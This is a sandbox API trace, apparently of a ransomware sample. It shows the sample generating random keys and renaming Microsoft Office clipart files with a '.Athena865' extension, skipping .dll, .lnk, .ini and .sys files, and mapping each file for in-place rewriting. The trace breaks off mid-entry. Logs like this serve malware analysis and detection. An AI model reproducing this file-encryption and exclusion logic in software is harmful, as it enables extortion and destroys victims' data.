[0132.962] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.962] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.962] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.963] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE00693_.WMF" | out: lpString1="PE00693_.WMF") returned="PE00693_.WMF" [0132.963] lstrlenW (lpString="PE00693_.WMF") returned 12 [0132.963] lstrlenW (lpString="Athena865") returned 9 [0132.963] lstrcmpiW (lpString1="0693_.WMF", lpString2="Athena865") returned -1 [0132.963] lstrlenW (lpString=".dll") returned 4 [0132.963] lstrcmpiW (lpString1="PE00693_.WMF", lpString2=".dll") returned 1 [0132.963] lstrlenW (lpString=".lnk") returned 4 [0132.963] lstrcmpiW (lpString1="PE00693_.WMF", lpString2=".lnk") returned 1 [0132.963] lstrlenW (lpString=".ini") returned 4 [0132.963] lstrcmpiW (lpString1="PE00693_.WMF", lpString2=".ini") returned 1 [0132.963] lstrlenW (lpString=".sys") returned 4 [0132.963] lstrcmpiW (lpString1="PE00693_.WMF", lpString2=".sys") returned 1 [0132.963] lstrlenW (lpString="PE00693_.WMF") returned 12 [0132.963] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF.Athena865") returned 73 [0132.963] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00693_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00693_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00693_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.965] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4408) returned 1 [0132.965] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.966] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.966] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.966] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1440, lpName=0x0) returned 0x154 [0132.967] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1440) returned 0x100000 [0132.968] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.969] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.969] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.969] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE00720_.WMF" | out: lpString1="PE00720_.WMF") returned="PE00720_.WMF" [0132.969] lstrlenW (lpString="PE00720_.WMF") returned 12 [0132.969] lstrlenW (lpString="Athena865") returned 9 [0132.969] lstrcmpiW (lpString1="0720_.WMF", lpString2="Athena865") returned -1 [0132.969] lstrlenW (lpString=".dll") returned 4 [0132.969] lstrcmpiW (lpString1="PE00720_.WMF", lpString2=".dll") returned 1 [0132.969] lstrlenW (lpString=".lnk") returned 4 [0132.969] lstrcmpiW (lpString1="PE00720_.WMF", lpString2=".lnk") returned 1 [0132.969] lstrlenW (lpString=".ini") returned 4 [0132.969] lstrcmpiW (lpString1="PE00720_.WMF", lpString2=".ini") returned 1 [0132.970] lstrlenW (lpString=".sys") returned 4 [0132.970] lstrcmpiW (lpString1="PE00720_.WMF", lpString2=".sys") returned 1 [0132.970] lstrlenW (lpString="PE00720_.WMF") returned 12 [0132.970] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF.Athena865") returned 73 [0132.970] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00720_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00720_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00720_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.971] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14630) returned 1 [0132.971] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.972] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.972] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.972] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3c30, lpName=0x0) returned 0x154 [0132.973] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3c30) returned 0x100000 [0132.975] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.975] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.975] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.976] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE00723_.WMF" | out: lpString1="PE00723_.WMF") returned="PE00723_.WMF" [0132.976] lstrlenW (lpString="PE00723_.WMF") returned 12 [0132.976] lstrlenW (lpString="Athena865") returned 9 [0132.976] lstrcmpiW (lpString1="0723_.WMF", lpString2="Athena865") returned -1 [0132.976] lstrlenW (lpString=".dll") returned 4 [0132.976] lstrcmpiW (lpString1="PE00723_.WMF", lpString2=".dll") returned 1 [0132.976] lstrlenW (lpString=".lnk") returned 4 [0132.976] lstrcmpiW (lpString1="PE00723_.WMF", lpString2=".lnk") returned 1 [0132.976] lstrlenW (lpString=".ini") returned 4 [0132.976] lstrcmpiW (lpString1="PE00723_.WMF", lpString2=".ini") returned 1 [0132.976] lstrlenW (lpString=".sys") returned 4 [0132.976] lstrcmpiW (lpString1="PE00723_.WMF", lpString2=".sys") returned 1 [0132.976] lstrlenW (lpString="PE00723_.WMF") returned 12 [0132.976] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF.Athena865") returned 73 [0132.977] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00723_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00723_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00723_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.978] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6908) returned 1 [0132.978] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.979] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.979] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.979] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1e00, lpName=0x0) returned 0x154 [0132.980] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1e00) returned 0x100000 [0132.981] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.982] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.982] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.982] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE00726_.WMF" | out: lpString1="PE00726_.WMF") returned="PE00726_.WMF" [0132.983] lstrlenW (lpString="PE00726_.WMF") returned 12 [0132.983] lstrlenW (lpString="Athena865") returned 9 [0132.983] lstrcmpiW (lpString1="0726_.WMF", lpString2="Athena865") returned -1 [0132.983] lstrlenW (lpString=".dll") returned 4 [0132.983] lstrcmpiW (lpString1="PE00726_.WMF", lpString2=".dll") returned 1 [0132.983] lstrlenW (lpString=".lnk") returned 4 [0132.983] lstrcmpiW (lpString1="PE00726_.WMF", lpString2=".lnk") returned 1 [0132.983] lstrlenW (lpString=".ini") returned 4 [0132.983] lstrcmpiW (lpString1="PE00726_.WMF", lpString2=".ini") returned 1 [0132.983] lstrlenW (lpString=".sys") returned 4 [0132.983] lstrcmpiW (lpString1="PE00726_.WMF", lpString2=".sys") returned 1 [0132.983] lstrlenW (lpString="PE00726_.WMF") returned 12 [0132.983] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF.Athena865") returned 73 [0132.983] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00726_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00726_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00726_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.984] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=45476) returned 1 [0132.985] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.985] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.985] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.985] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb4b0, lpName=0x0) returned 0x154 [0132.987] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb4b0) returned 0x100000 [0132.989] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.990] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.990] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.992] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE00737_.WMF" | out: lpString1="PE00737_.WMF") returned="PE00737_.WMF" [0132.992] lstrlenW (lpString="PE00737_.WMF") returned 12 [0132.992] lstrlenW (lpString="Athena865") returned 9 [0132.992] lstrcmpiW (lpString1="0737_.WMF", lpString2="Athena865") returned -1 [0132.992] lstrlenW (lpString=".dll") returned 4 [0132.992] lstrcmpiW (lpString1="PE00737_.WMF", lpString2=".dll") returned 1 [0132.992] lstrlenW (lpString=".lnk") returned 4 [0132.992] lstrcmpiW (lpString1="PE00737_.WMF", lpString2=".lnk") returned 1 [0132.992] lstrlenW (lpString=".ini") returned 4 [0132.992] lstrcmpiW (lpString1="PE00737_.WMF", lpString2=".ini") returned 1 [0132.992] lstrlenW (lpString=".sys") returned 4 [0132.992] lstrcmpiW (lpString1="PE00737_.WMF", lpString2=".sys") returned 1 [0132.992] lstrlenW (lpString="PE00737_.WMF") returned 12 [0132.992] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0132.993] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF.Athena865") returned 73 [0132.993] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00737_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00737_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00737_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.994] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=40492) returned 1 [0132.995] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.995] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.995] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.996] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa130, lpName=0x0) returned 0x154 [0132.997] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa130) returned 0x100000 [0132.999] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.000] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.000] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.001] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE00833_.WMF" | out: lpString1="PE00833_.WMF") returned="PE00833_.WMF" [0133.001] lstrlenW (lpString="PE00833_.WMF") returned 12 [0133.001] lstrlenW (lpString="Athena865") returned 9 [0133.001] lstrcmpiW (lpString1="0833_.WMF", lpString2="Athena865") returned -1 [0133.001] lstrlenW (lpString=".dll") returned 4 [0133.001] lstrcmpiW (lpString1="PE00833_.WMF", lpString2=".dll") returned 1 [0133.001] lstrlenW (lpString=".lnk") returned 4 [0133.001] lstrcmpiW (lpString1="PE00833_.WMF", lpString2=".lnk") returned 1 [0133.001] lstrlenW (lpString=".ini") returned 4 [0133.001] lstrcmpiW (lpString1="PE00833_.WMF", lpString2=".ini") returned 1 [0133.001] lstrlenW (lpString=".sys") returned 4 [0133.001] lstrcmpiW (lpString1="PE00833_.WMF", lpString2=".sys") returned 1 [0133.001] lstrlenW (lpString="PE00833_.WMF") returned 12 [0133.002] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF.Athena865") returned 73 [0133.002] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00833_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00833_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00833_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.003] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7328) returned 1 [0133.003] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.004] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.004] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.004] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1fa0, lpName=0x0) returned 0x154 [0133.005] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1fa0) returned 0x100000 [0133.006] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.007] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.007] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.008] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE00898_.WMF" | out: lpString1="PE00898_.WMF") returned="PE00898_.WMF" [0133.008] lstrlenW (lpString="PE00898_.WMF") returned 12 [0133.008] lstrlenW (lpString="Athena865") returned 9 [0133.008] lstrcmpiW (lpString1="0898_.WMF", lpString2="Athena865") returned -1 [0133.008] lstrlenW (lpString=".dll") returned 4 [0133.008] lstrcmpiW (lpString1="PE00898_.WMF", lpString2=".dll") returned 1 [0133.008] lstrlenW (lpString=".lnk") returned 4 [0133.008] lstrcmpiW (lpString1="PE00898_.WMF", lpString2=".lnk") returned 1 [0133.008] lstrlenW (lpString=".ini") returned 4 [0133.008] lstrcmpiW (lpString1="PE00898_.WMF", lpString2=".ini") returned 1 [0133.008] lstrlenW (lpString=".sys") returned 4 [0133.008] lstrcmpiW (lpString1="PE00898_.WMF", lpString2=".sys") returned 1 [0133.008] lstrlenW (lpString="PE00898_.WMF") returned 12 [0133.008] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF.Athena865") returned 73 [0133.008] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00898_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00898_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00898_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.010] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6408) returned 1 [0133.010] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.010] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.010] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.011] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c10, lpName=0x0) returned 0x154 [0133.012] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1c10) returned 0x100000 [0133.013] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.014] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.014] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.014] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE00934_.WMF" | out: lpString1="PE00934_.WMF") returned="PE00934_.WMF" [0133.014] lstrlenW (lpString="PE00934_.WMF") returned 12 [0133.014] lstrlenW (lpString="Athena865") returned 9 [0133.014] lstrcmpiW (lpString1="0934_.WMF", lpString2="Athena865") returned -1 [0133.014] lstrlenW (lpString=".dll") returned 4 [0133.014] lstrcmpiW (lpString1="PE00934_.WMF", lpString2=".dll") returned 1 [0133.014] lstrlenW (lpString=".lnk") returned 4 [0133.014] lstrcmpiW (lpString1="PE00934_.WMF", lpString2=".lnk") returned 1 [0133.014] lstrlenW (lpString=".ini") returned 4 [0133.014] lstrcmpiW (lpString1="PE00934_.WMF", lpString2=".ini") returned 1 [0133.014] lstrlenW (lpString=".sys") returned 4 [0133.014] lstrcmpiW (lpString1="PE00934_.WMF", lpString2=".sys") returned 1 [0133.014] lstrlenW (lpString="PE00934_.WMF") returned 12 [0133.015] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF.Athena865") returned 73 [0133.015] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00934_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00934_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00934_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.016] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12544) returned 1 [0133.016] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.017] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.017] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.017] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3400, lpName=0x0) returned 0x154 [0133.018] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3400) returned 0x100000 [0133.020] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.020] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.021] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.021] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE00998_.WMF" | out: lpString1="PE00998_.WMF") returned="PE00998_.WMF" [0133.021] lstrlenW (lpString="PE00998_.WMF") returned 12 [0133.021] lstrlenW (lpString="Athena865") returned 9 [0133.021] lstrcmpiW (lpString1="0998_.WMF", lpString2="Athena865") returned -1 [0133.022] lstrlenW (lpString=".dll") returned 4 [0133.022] lstrcmpiW (lpString1="PE00998_.WMF", lpString2=".dll") returned 1 [0133.022] lstrlenW (lpString=".lnk") returned 4 [0133.022] lstrcmpiW (lpString1="PE00998_.WMF", lpString2=".lnk") returned 1 [0133.022] lstrlenW (lpString=".ini") returned 4 [0133.022] lstrcmpiW (lpString1="PE00998_.WMF", lpString2=".ini") returned 1 [0133.022] lstrlenW (lpString=".sys") returned 4 [0133.022] lstrcmpiW (lpString1="PE00998_.WMF", lpString2=".sys") returned 1 [0133.022] lstrlenW (lpString="PE00998_.WMF") returned 12 [0133.022] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF.Athena865") returned 73 [0133.022] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00998_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00998_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF.Athena865" (normalized: "c:\\program files\\microsoft 